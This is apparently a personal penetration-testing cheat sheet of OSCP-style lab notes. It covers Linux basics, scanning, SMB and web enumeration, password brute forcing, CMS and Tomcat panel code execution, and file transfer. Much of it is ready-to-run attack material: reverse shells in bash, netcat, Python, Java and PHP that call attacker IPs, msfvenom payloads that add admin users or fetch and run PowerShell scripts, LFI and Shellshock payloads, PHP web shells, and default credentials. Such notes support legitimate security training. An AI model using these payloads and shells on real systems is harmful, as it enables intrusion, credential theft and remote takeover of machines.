Basic-Skills Linux

Groups

groupadd <groupName>
addgroup <groupName>
	
#(Create User)
adduser <username>
useradd <username>

#(Añadir usuario a un grupo determinado)
usermod -aG $group
adduser user group
usermod -a -G group user
gpasswd -a grupo User -> Add User to a group
gpasswd -d grupo User -> Delete User from a group
ln -s /opt/dirsearch/dirsearch.py /usr/bin/dirsearch
ln -s -f /opt/drupwn/drupwn/usr/local/bin/drpwn

Service Logs

journalctl -u ssh.service --no-pager

Linux Fundamentals

#(Opens man pages for the specified tool)  
man <tool> 
#(Prints the help page of the tool)
<tool> h    
#(Searches through man pages' descriptions for instances of a given keyword)  
apropos <keyword> 
#(Concatenate and print files) 
cat 
#(Displays current username)  
whoami 
#(Returns users identity)  
id 
#(Sets or prints the name of the current host system)  
hostname 
#(Prints operating system name)  
uname 
#(Returns working directory name)  
pwd 
#(The ifconfig utility is used to assign or view an address to a network interface and/or configure network interface parameters)  
ifconfig 
#(Ip is a utility to show or manipulate routing, network devices, interfaces, and tunnels)  
ip 
#(Shows network status)  
netstat 
#(Another utility to investigate sockets)  
ss 
#(Shows process status)  
ps 
#(Displays who is logged in) 
who  
#(Prints environment or sets and executes a command)  
env 
#(Lists block devices)  
lsblk 
#(Lists USB devices)  
lsusb 
#(Lists opened files)  
lsof 
#(Lists PCI devices)  
lspci 
#(Execute command as a different user)  
sudo 
#(The su utility requests appropriate user credentials via PAM and switches to that user ID (the default user is the superuser))  A shell is then executed)  
su 
#(Creates a new user or update default new user information)  
useradd 
#(Deletes a user account and related files) 
userdel 
#(Modifies a user account)  
usermod 
#(Adds a group to the system)  
addgroup 
#(Removes a group from the system)  
delgroup 
#(Changes user password) 
passwd 
#(Install, remove and configure Debianbased packages)  
dpkg 
#(Highlevel package management commandline utility)  
apt 
#(Alternative to apt)  
aptitude 
#(Install, remove and configure snap packages) 
snap 
#(Standard package manager for Ruby)  
gem 
#(Standard package manager for Python)  
pip 
#(Revision control system commandline utility)  
git 
#(Commandline based service and systemd control manager) 
systemctl 
#(Prints a snapshot of the current processes)  
ps 
#(Query the systemd journal)  
journalctl 
#(Sends a signal to a process)  
kill 
#(Puts a process into background) 
bg 
#(Lists all processes that are running in the background)  
jobs 
#(Puts a process into the foreground)  
fg 
#(Commandline utility to transfer data from or to a server)  
curl 
#(An alternative to curl that downloads files from FTP or HTTP(s) server) 
wget 
#(Starts a Python3 web server on TCP port 8000)  
python3 m http-server 
#(Lists the contents of a directory recursively) 
tree 
#(Searches for files in a directory hierarchy)   
find 
#(Updates the locale database for existing contents on the system) 
updatedb 
#(Uses the locale database to find contents on the system)  
locate 
#(Pager that is used to read STDOUT or files) 
more 
#(An alternative to more with more features)  
less 
#(Prints the first ten lines of STDOUT or a file) 
head 
#(Prints the last ten lines of STDOUT or a file)  
tail 
#(Sorts the contents of STDOUT or a file) 
sort 
#(Searches for specific results that contain given patterns)  
grep 
#(Removes sections from each line of files) 
cut 
#(Replaces certain characters)  
tr 
#(Commandline based utility that formats its input into multiple columns) 
column 
#(Pattern scanning and processing language) 
awk 
#(A stream editor for filtering and transforming text)  
sed 
#(Prints newline, word, and byte counts for a given input) 
wc 
#(Changes permission of a file or directory) 
chmod 
#(Changes the owner and group of a file or directory) 
chown 

 #(change keyboard layout)
 localectl list-x11-keymap-layouts
 setxkbmap -layout es

Curl-Requests

#(GET request with cURL)
curl http://inlanefreight.com   
#(Verbose GET request with cURL)
curl http://inlanefreight.com -v   
 
#(cURL Basic Auth login)
curl http://admin:password@inlanefreight.com/ -vvv   
#(Alternate cURL Basic Auth login )
curl -u admin:password  http://inlanefreight.com/ -vvv  
#(cURL Basic Auth login, follow redirection )
curl -u admin:password -L http://inlanefreight.com/  
#(cURL GET request with parameter)
curl -u admin:password 'http://inlanefreight.com/search.php?port_code=us'   
#(POST request with cURL )
curl -d 'username=admin&password=password' -L http://inlanefreight.com/login.php  

#(Curl Headers)
curl -s -X GET -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3" \ 
-H "Accept-Encoding: gzip, deflate" \ 
-H "Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0" \ 
"http://10.129.48.113/../../../../../../../../../../../../windows/win.ini" -v --path-as-is

Nmap

Basics scan & Services Scan

nmap 10.11.1.71 --top-ports 10 --open  	#(LightScan  will do the "10 most common ports)
nmap 10.11.1.72 -p- -sV --reason --dns-server $DNS 	#(Heavy Scan I)
nmap 10.11.1.72 -p- -sT --reason --open --dns-server	#(Heavy Scan II)
nmap 10.11.1.72 -p 22,25,80,110,111,119,2049,4555 -sV --reason --dns-server #(Heavy Scan III)

nmap -sC -sV -T4 -n -Pn $IP -oN $name #(default scripts,service enumeration, host dicovery)
nmap -p- --max-retries 1 --min-rate 5000 --max-scan-delay 20 -v --open 10.11.1.11   #()
nmap -p- --open -T5 -v -n $IP -oG <FileName>
nmap -sS --min-rate 5000 -Pn -p- --open -vvv -n <IP> -oG <FileName>

Udp Scan

nmap -sU -p- --open --min-rate 5000 $IP -n -oN targeted
nmap -sU 10.11.1.71 -p- --open 	#(UDP SCAN)
sudo -sU -sS -sC -sV -oN $IP -v udp-scan 

Locate Nse Scripts

locate ".nse"
grep -r "categories" *.nse | grep -oP '".*?"' | sort -u
locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u 

Nse Scripts

Usefull nse scripts

nmap --script-help script.nse #(Help scripts)
batgrep "@args" $(locate http-enum) #(List args scripts)

// or
locate .nse | grep "wordpress" | xargs batgrep "@args" 

#(Example nse Scripts)
nmap --script=smb-enum-shares.nse,smb-enum-users.nse -p445 -T4 <IP>    #(Enumerate smb shares or users)
nmap --script http-enum --script-args http-enum.basepath=/nibbleblog/10.10.10.75 -p 80 #(fuzzing http)

Recon Dns Nmap

nmap -sU -p 53 --open 10.11.1.1-254 -v -oG nameservers

Script to enumerate DNS Servers

#!/bin/bash  
  
tput civis ;for dns in $(cat ips-dns); do  
timeout 1 bash -c "/usr/bin/nslookup $1 $dns"  & 
done ; wait ; tput cnorm

nc -nv $IP $PORT
nc -nvC $IP PORT

Fuzzing Tools

dirsearch

dirsearch -u http://10.10.10.7 -w /opt/Seclists/Discovery/Web-Content/raft-medium-words.txt -f -t 150 --simple-report=internal.txt
dirsearch -u http ://10.10.248.29 -w /opt/Seclists/Discovery/Web-Content/raft-medium-words.txt -x 400,500 -r -t 150 --simple-report=internal.txt
dirsearch -u http://<url> -w /opt/Seclists/Discovery/Web-Content/raft-medium-words.txt -x 400,500,301 -E -F -t 150

Dirsearch IIS

dirsearch -u http://10.10.153.224:3333 -w /opt/Seclists/Discovery/Web-Content/raft-medium-words.txt -e “asp,aspx,html,txt” -f -t 150
dirsearch -u http://10.10.63.45:49663 -w /opt/Seclists/Discovery/Web-Content/raft-medium-words.txt -E -x 400,500 -r -t 50

Gobuster

gobuster -u http://target -w /root/SecLists-master/Discovery/Web-Content/common.txt
gobuster dir -u http://10.10.10.93:80 -w /opt/Seclists/Discovery/Web-Content/raft-medium-words.txt -l -e -k -x .asp,.aspx,.txt -t 30 -o gobuster-scan.txt

SMB

enum4linux $IP
smbclient  //$IP/path -N

SmbClient

list shares and connect

smbclient -L //$target -U lemon
smbclient //192.168.1.144/c$ -p 139 -N

#(download recursive)
smbclient //$Ip/$share -U <USER> -c "prompt OFF;recurse ON;mget *"

Wen we obtain the error “Error protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED”

smbclient //10.11.1.136/"Bob Share" --option="client min protocol = NT1"
smbclient -L //10.11.1.115 -p 139 --option "client min protocol = LANMAN1"

Smbmap

smbmap -H <$IP -u ‘null’
smbmap -R $Shared-Folder) 10.11.1.115  #(List files recursively)
smbmap -R $Shared-Folder) 10.11.1.115 -A groups.xml -q 		#(download One Single File)
smbget -R smb://<IP>/path 	#(Download recursively)

POP3 - 110

Brute force

hydra -l <USER> -P <PASSWORDS_LIST> -f <IP> pop3 -V
hydra -S -v -l <USER> -P <PASSWORDS_LIST> -s 995 -f <IP> pop3 -V

Read mail

telnet <IP> 110

USER <USER>
PASS <PASSWORD>
LIST
RETR <MAIL_NUMBER>
QUIT

Cms Recon

Wordpress Scan

#(Wpscan with api-key)
wpscan --url blog.thm -e u,vp --api-token <APITOKEN>
wpscan --url http://10.10.10.88/webservices/wp/ --enumerate vp,u plugins-detection aggressive

#(Wpscan brute force)
wpscan --url http://"127.0.0.1" --wordlist "dic.txt" --username "elliot"

Automatic scanners

nikto -h <URL>
python crawleet.py -u <URL> -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20

Wordpress

# Scan
wpscan --url http://$URL -e vp,u

# Brute force user(s)
wpscan  --url http://$URL -U "User" -P $passwordFile

Wordpress panel RCE

Reverse Shell or Code Execution Wordpress

#(Modifying a php from the theme used (admin credentials needed))

Appearance -> Editor -> 404 Template -> Paste our Php Payload

#(Make a get request to the modified resource)
http://$IP/wp-content/themes/twentytwelve/404.php

Drupal

Username enumeration

#(To enumerate a user)
In '/user/register' just try to create a username and if the name is already taken it will be notified :
**The name admin is already taken**

If you request a new password for an existing username :
**Unable to send e-mail. Contact the site administrator if the problem persists.**

If you request a new password for a non-existent username :
**Sorry, test is not recognized as a user name or an e-mail address.**

Accessing /user/<number> you can see the number of existing users :
/user/1 -> Access denied (user exist)
/user/2 -> Page not found (user doesn't exist)

Hidden pages enumeration

Fuzz /node/<NUMBER> where <NUMBER> is a number (from 1 to 500 for example).
You could find hidden pages (test, dev) which are not referenced by the search engines.

wfuzz -c -z range,1-500 --hc 404 <URL>/node/FUZZ

Drupal panel RCE

Remote code execution Drupal

You need the plugin php to be installed (check it accessing to /modules/php and if it returns a 403 then, exists, if not found, then the plugin php isn't installed)

Go to Modules -> (Check) PHP Filter  -> Save configuration

https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php

Then click on Add content -> Select Basic Page or Article -> Write php shellcode on the body -> Select PHP code in Text format -> Select Preview

Joomla

joomscan -u <URL>
./joomlavs.rb --url <URL> -a -v

Tomcat

Default credentials

The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). But  this path is protected by basic HTTP auth, the most common credentials are :

admin:admin
tomcat:tomcat
admin:<NOTHING>
admin:s3cr3t
tomcat:s3cr3t
admin:tomcat

Brute force

hydra -L <USERS_LIST> -P <PASSWORDS_LIST> -f <IP> http-get /manager/html -vV -u

Tomcat panel RCE

# Generate payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

# Upload payload
Tomcat6 :
wget 'http://<USER>:<PASSWORD>@<IP>:8080/manager/deploy?war=file:shell.war&path=/shell' -O -

Tomcat7 and above :
curl -v -u <USER>:<PASSWORD> -T shell.war 'http://<IP>:8080/manager/text/deploy?path=/shellh&update=true'

# Listener
nc -lvp <PORT>

# Execute payload
curl http://<IP>:8080/shell/

Web Application attack

Local file inclusion-LFI

#(Linux)
locate LFI-gracefulsecurity-linux.txt

#(Windows)
locate LFI-gracefulsecurity-windows.txt

#(Both)
locate LFI-LFISuite-pathtotest-huge.txt

Local File Inclusion / Remote File Inclusion - LFI / RFI

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

Php Wrappers

Wrapper ‘php://filter’

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=

Wrapper ‘expect://’

http://example.com/index.php?page=expect://id

Wrapper ‘data://’

echo '<?php phpinfo(); ?>' | base64 -w0 -> PD9waHAgcGhwaW5mbygpOyA/Pgo=

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pgo=

If code execution, you should see phpinfo(), go to the disable_functions and craft a payload with functions which aren't disable.

Code execution with 
	- exec
	- shell_exec
	- system
	- passthru
	- popen

# Exemple
echo '<?php passthru($_GET["cmd"]);echo "Shell done !"; ?>' | base64 -w0 -> PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=

If there is "Shell done !" on the webpage, then there is code execution and you can do things like :

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=&cmd=ls

Wrapper ‘input://’

curl -k -v "http://example.com/index.php?page=php://input" --data "<?php echo shell_exec('id'); ?>"

Command injection

For command injection always use BurpSuite !

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

Deserialization

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization

File upload

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files

SQL injection

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

https://blog.cobalt.io/a-pentesters-guide-to-sql-injection-sqli-16fd570c3532

XSS

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

beef-xss
cat /usr/share/beef-xss/config.yaml | grep user -C 1 # user / password
<script src="http://<IP>:3000/hook.js"></script>

Other web vulnerabilities

https://github.com/swisskyrepo/PayloadsAllTheThings

Upload a file with PUT

curl -X PUT http://<IP>/<FILE> -d @<FILE>  -v

SHELLSHOCK

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://$url/cgi-bin/script.cgi

Mounts

Install ==cifs-utils== tools

sudo apt-get clean
sudo apt-get update
sudo apt-get install cifs-utils

Cifs-> Only Windows NFS-> Unix Systems

Mount SmbFolder

mount -t cifs -o "username=user,password=password,vers=1.0" //10.11.1.146/SusieShare smbmount
mount -t cifs  //10.11.1.136/"Bob Share" smb-mount -o "vers=1.0"
mount -t cifs  //$IP/$Resource $localPath -o "username=SVC_TGS,password=GPPstillStandingStrong2k18,domain=active.htb,rw"

mount -t nfs $IP:$PATH $LOCALPATH

Mapping LocalDrive to smb shared

Check smbclient -L //10.10.10.100/share -U "WORKGROUP/L3mon%L3mon123"

net use z: \\10.10.10.100\shared L3mon123 /user:l3mon /persistent:no

Download Recursive

Smbclient

smbclient //10.10.10.100/$folder
recurse ON
prompt OFF
mget *

#(or smbget)
smbget -R smb://$IP/$FOLDER`

Enumerate Samba Version with ==Ngrep==

Version if nmap didn’t detect it

ngrep -i -d tun0 's.?a.?m.?b.?a.*[[:digit:]]' port 139
Smbclient -L <IP>

Nse Scripts Shares-Resources

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $IP

Listing Nfs Resources

When we see Port 2049 -> Nfs Resources

showmount -e $IP
mount -t nfs <IP>:/<PATH> <LocalPath>

Ftp Mount

#(To mount a ftp share in a folder)
curlftpfs anonymous:pass@10.10.10.152 ftp-mount


#(To download a resource recursively)
ftp $IP
User: anonymous
Pass: 'null'

binary
prompt off
mget *


Network Tools

Ssh Basics

#(Critical ssh files)
.ssh/authorized\_keys
~/.ssh/config, ~/.ssh/known_hosts

#(ssh configs files)
/etc/ssh/ssh_config
/etc/ssh/sshd_config

#(Generate pair of keys)
ssh-keygen -t rsa -b 2048 
ssh-keygen -t rsa -b 4096 -C "user@domain.com"

# Simulating keystroke
echo -ne $'\r' | ssh-keygen -t rsa -b 4096 -N '' <<< $"y"


#(Add passphrase to a key)
ssh-keygen -p -f id_rsa

Diffie helman - sshpass - del Passprase

ssh USER@IP -oKexAlgorithms=+diffie-hellman-group1-sha
ssh -i id_dsa -oKexAlgorithms=+diffie-hellman-group1-sha1 -o PubkeyAcceptedKeyTypes=+ssh-dss bob@10.11.1.136

#(Loggin with pass)
sshpass -p 'P@55W0rd1!2@' ssh mindy@10.10.10.51 -t bash

#(Remove Passphrase key
openssl rsa -in $key -out $key-nopassphrase

SCP

#(Copy a folder to a remote location)
scp -r $folder user@ip:/home/$folder
#(Download a remote folder to local)
scp -r user@ip:/home/$remote $localfolder

#(update a  files)
scp -i /tmp/hosts ec2-user@:/tmp/hosts

#(mount remote directory as local folder)
sshfs name@server:/path/remote_folder /path/local_folder

Port Forwarding

SSH

ssh -R 4406:127.0.0.1:4406 user@ip -fNT
ssh -L 1234:127.0.0.1:3306 root@ip
plink.exe -l root -pw hola -R 445:127.0.0.1:445 10.10.14.29 -P  
plink.exe root@192.168.0.118 -R 445:127.0.0.1:445 -P

Knockd

Find the Process

ps aux | grep “knock”

#(Config file Path)
/etc/knockd.conf

#(Knocking Ports nmap)
for i in 571, 290, 911 ; do nmap -Pn --max-retries 0 -p $i xxx.xx.xx.xx ; done

Tshark

tshark -r captura.cap -Y "http" -Tjson 2>/dev/null
tshark -r captura.cap -Y "http" -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r | grep "Get"

PIVOTING

Sshuttle

sshuttle <USER>@<IP> <IP_OF_THE_INTERFACE>/CIDR

Proxychains

ssh -f -N -D 9050 <USER>@<IP>
proxychains <COMMAND>

Pivoting Article

https://artkond.com/2017/03/23/pivoting-guide/

Msfvenom

List differents Payloads, encoders, formats

msfvenom --list payloads | grep "windows/shell"

Create User

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

Cmd Shell

msfvenom - p windows/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > shell .exe

Execute Command

msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')" -f exe -o pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net user l3mon l3mon123! /add && net localgroup administrators l3mon /add" -f exe > pay.exe

Embedded inside executable

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/-windows-binaries/plink.exe -f exe -o plinkmeter.exe

Asp - Aspx Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(YourPort) -f asp > reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(YourPort) -f aspx > reverse.aspx

Linux 🐧

Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(YourPort) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

Web Based Payload

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

Jps - Jenkins

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.jsp

tomcat

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

Python

msfvenom -p cmd /unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

Msfvenom Bof 🔋

#(Meterpreter Payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python

#(Bof reverse shell linux)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.51 LPORT=443 -a x86 --platform linux -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x20"

#(Bof reverse shell)
msfvenom -p windows/shell_reverse_tcp --nopsled=30 LHOST=192.168.119.148 LPORT=443  EXITFUNC=thread -e x86/shikata_ga_nai -f python -v shell


Brute-Force

SMB bruteforce

nmap --script=smb-brute.nse 192.x.x.x
nmap -sV -p 445 --script smb-brute 192.168.13.200-250
acccheck -v -t 10.1.1.22 -u kevin -P /usr/share/wordlists/rockyou.txt

DNS bruteforce

nmap -p 80 --script dns-brute.nse domain.com
python dnscan.py -d domain.com -w /subdomains-10000.txt

MySQL bruteforce

nmap -p 3306 --script mysql-brute --script-args userdb=/usr/share/wordlists/mysql_users.txt,passdb=/usr/share/wordists/rockyou.txt -vv 192.168.31.199

Generate a wordlist from a webpage

#(Generatte Dictionary - cewl)
cewl -w dictionary.txt http://www.sanz.org
cewl -w dictionary.txt - d 5 - m 7 http://www.sanz.org
cewl -w cewl_passlist.txt -d 5 10.11.1.39 /otrs/index.pl
cewl http://www.megacorpone.com -m 6 -w /root/newfilelist.txt 2>/dev/null
#(-d depth , -m min word lenght)

Hashcat

#(Brute-force md5sum with -a 3 'bruteforce')
hashcat64.exe -a 0 -m 0 hashfile wordlist
Hashcat64.exe -a 0 -m 0 C:\Users\hash.txt  C:\wordlist\dict.lst

Hydra

#(Ssh Brute)
hydra -l $user -P /usr/share/wordlists/rockyou.txt ssh://10.10.73
hydra -l $user -P /usr/share/wordlists/rockyou.txt 10.10.73.216 ssh
hydra -L $list-users -P /usr/share/wordlists/rockyou.txt 192.168.13.234 ssh
hydra  -l root -P /usr/share/wordlists/cristi-passwords.txt 127.0.0.1 -t 4 -s 50000 ssh

#(Brute Http Basic auth)
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f 10.10.250.189 http-get /inferno -T 64 -V


#(Brute force Loggin Form Post Request)
hydra -L userlist.txt -P /usr/share/wordlists/rockyou.txt $site http-form-post "$resource:$body:$Error" -V
#(Example)
hydra -l admin -P /root /ctf_wordlist.txt domain.com http-post-form "admin.php:u=^USER^&p=^PASS^&f=login:'Enter your username and password tocontinue'" -V


#(Brute Force Ftp)
hydra -t 4 -L /usr/share/wordlists/cristi.txt -P /usr/share/wordlists/passwords.txt 192.168.13.11

#(Brute Force Pop)
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.158 pop

#(Rdp Brute)
hydra -t 4 -V -l root -P /usr/share/wordlists/rockyou.txt rdp://$IP

#(Brute Smtp)
hydra -l root@ucal.local -P /usr/share/wordlists/rockyou.txt -t 1 -w 20 -f 192.168.29.55 smtp -V -s 25 -v 


John

bruteforce private key ssh

#(Pass the private key to john format)
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash

#(Crack with john that private key)
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Hashid to know the mode hashcat or format john

hashid -m "AAFDC23870ECBCD3D557B6423A8982134E17927E"
hashid -j "AAFDC23870ECBCD3D557B6423A8982134E17927E"

File Transfers

# PYTHON
python -m SimpleHTTPServer <PORT>
python2.7 -c "from urllib import urlretrieve; urlretrieve('<URL>', '<DESTINATION_FILE>')"

#(Ftp Transfer File windows)
#(linux)
python3 -m pyftpdlib -p 21 -w

#(Windows)
echo open 10.10.14.5 21 > ftp.txt  
echo User Anonymous >> ftp.txt  
echo Password >> ftp.txt  
echo Binary >> ftp.txt  
echo GET $FILE >> ftp.txt  
echo BYE >> ftp.txt  

ftp -n -s:ftp.txt -v 

#(SMB)
smbserver shared $(directory) -smb2support 

#(To copy a folder)
xcopy  "rajfzh3y.default\*" \\10.11.31.134\share\

#(WGET)
wget <URL> -o <OUT_FILE>

#(CURL)
curl <URL> -o <OUT_FILE>

#(NETCAT)
nc -lvp 1234 > $outfile
nc $ip 1234 < $infile 

#(SCP)
scp <SOURCE_FILE> <USER>@<IP>:<DESTINATION_FILE>

Other Methods

#(Download a file with PowerShell)
InvokeWebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1 

#(Execute a file in memory using PowerShell)
powershell IEX(NewObject Net.WebClient).DownloadString('https://$ip/InvokeMimikatz.ps1')

#(Upload a file with PowerShell)
InvokeWebRequest Uri http://10.10.10.32:443 Method POST Body $b64   

#(Download a file using Bitsadmin)
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe   

#(Download a file using Certutil)
certutil.exe verifyctl split f http://10.10.10.32/nc.exe 

#(Download a file using Wget)
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh O /tmp/LinEnum.sh

#(Download a file using cURL )
curl o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh 

#(Download a file using PHP )
php r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);' 

#(Upload a file using SCP )
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip 

#(Download a file using SCP )
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe 

#(nvokeWebRequest using a Chrome User Agent)
InvokeWebRequest http://nc.exe UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome OutFile "nc.exe"  I 

Reverse Shells - Web Shells

Bash Reverse-Shell

/bin/bash -c 'bash -i > & /dev/tcp/192.168.119.148/443 0>&1'

Upgrading Shell

script /dev/null -c bash  
CTRL+Z  
stty raw -echo   
fg  
reset  
xterm   
export TERM=xterm  
shell  SHELL=bash

Web Reverse-Shell

bash -c ‘ bash -i >%26 /dev/tcp/xx.xxx.xxx/xxx 0>%261’

Escaping the Character “&” because in url with point to a variable.

php - bash reverse shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.119.148/443 0>&1'" ); ?>

Red Hat - Centos Interactive Shell

mknod /tmp/backpipe p; /bin/sh 0< /tmp/backpipe | nc 192.168.119.148 443 1> /tmp/backpipe

Python Execute Commands

import os
os.system ("whoami")

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
echo "import os; os.system('/bin/nc 10.10.14.10 443 -e /bin/bash')" > /opt/tmp.py

NC Reverse Unix

nc -e /bin/sh 10.0.0.1 1234

NC Reverse-shell BSD

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.119.148 443 >/tmp/f

Java Reverse Shell

r = Runtime.getRuntime()  
p = r.exec(\["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \\$line 2>&5 >&5; done"\] as String\[\])  
p.waitFor()

JENKINS

Jenkins Code Execution via Script Console

def command = "cat /etc/passwd"
def proc = command.execute()
proc.waitFor()

println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"

Getting Reverse Shell on Linux Machine

We can simply use Java Reverse Shell from pentestmonkey.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Getting Reverse Shell on Windows Machine

eString host="localhost";  
int port=8044;  
String cmd="cmd.exe";  
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()&gt;0)so.write(pi.read());while(pe.available()&gt;0)so.write(pe.read());while(si.available()&gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Article -> Jenkins https://alionder.net/jenkins-script-console-code-exec-reverse-shell-java-deserialization/

Php Webshells

Simple Php webshell

echo '<?php system($_GET["cmd"]); ?>' > webshell.php

Web Shell con Etiquetas Preformatiadas

<?php echo "pre" ; system(whoami); echo "pre"; die; ?> 

<?php echo "<pre>". shell_exec($_REQUEST['cmd'] ). "</pre>" ?>

Reverse Shell Executing Php Code With Internal Commands

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > /tmp/f' ); ?>

IIS

locate aspx_cmd

Zips

John : File with passphrase

#(1. We pass the file to format john)
zip2jhon $zipfile > zip.hash

#(2. Crack the file)
john zip.hash

Brute-Force Zip with Password

Fcrackzip

#(Brute force zip file with passphrase)
fcrackzip -uDp /usr/share/wordlists/rockyou.txt $zipfile

Gpg Cracking

#(Pass the file to john format)
/usr/sbin/gpg2john tryhackme.asc > PgpHash.txt
#(Crack)
johnn --wordlist=/usr/share/wordlists/rockyou.txt Pgphash.txt

Ggp Keys

Basic

#(Import GPG key)
gpg --import tryhackme.asc

#(Decript gpg file with imported key tryhackme.asc)
gpg --decrypt credential.pgp

GPG Resources Git Resource https://gist.github.com/turingbirds/3df43f1920a98010667a https://www.sysadmin.md/gpg-cheatsheet.html

Recover Corrupted zip

zip -FF Tryharder $zipfile --out $repairzipflie

7z Compress

#(Compress a folder)
7z a /opt/lemon-repository/notes/lab-notes -r  OSCP-LAB -t7za -p

#(Compress multiple files)
7z a $outputFile $file1 $file2

#( This will compress the entire pwd, dot files included. Archive placed in pwd )
7z a -t7z $filename.tz -m0=lzma2 -mx=9 -aoa

#(No compression, just copy. Also, splits into 900MB parts for easier transfer over internet)
7z a -t7z -mx=0 -v900m $FILENAME.7z $file

#( Same as previous, but encrypt headers (file names, and password protected  )
7z a FILENAME.7z -t7z -mx=0 -mhe=on -p -v900m  $files.


GCC

For Linux

Install GCC and GCC-Multilib to make Cross Compile

apt-get install gcc-9-base libgcc-9-dev libc6-dev  
apt-get install gcc-multilib

Basic things to get exploit work fine

#(to know what librarie use a binary)
ldd $binary

#(Basic compilation)
gcc -c -fpic script.c  

#(Basic compilation shared Libraries)
gcc -o reverse.so -shared script.c -fPIC  
#(Basic object compilation)
gcc -o script.so -shared script.o    

#(when see that error we need get a TTY)
sh: [$randomNumber:4] tcsetattr:Invalid argument
python -c "import pty;pty.spawn('/bin/bash')"

